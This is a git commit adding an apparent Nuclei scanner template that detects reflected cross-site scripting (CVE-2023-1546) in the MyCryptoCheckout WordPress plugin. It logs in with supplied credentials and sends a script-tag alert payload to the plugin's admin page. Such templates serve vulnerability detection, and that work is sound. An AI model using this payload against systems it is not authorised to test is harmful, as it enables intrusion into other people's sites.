Create CVE-2023-1546.yaml

patch-1
Harsh Yadav 2023-07-15 23:36:25 +05:30 committed by GitHub
parent 1a4ca52909
commit d14aaa69c0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: CVE-2023-1546
info:
name: MyCryptoCheckout < 2.124 - Reflected XSS
author: Harsh
severity: medium
description: |
The plugin does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting
reference:
- https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0
classification:
cve-id: CVE-2023-1546
tags: wpscan,cve2023,wordpress,authenticated,cve,wp-plugin,xss
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=mycryptocheckout&%22%3E%3Cscript%3Ealert(007)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
req-condition: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "scriptalert(007)")'
condition: and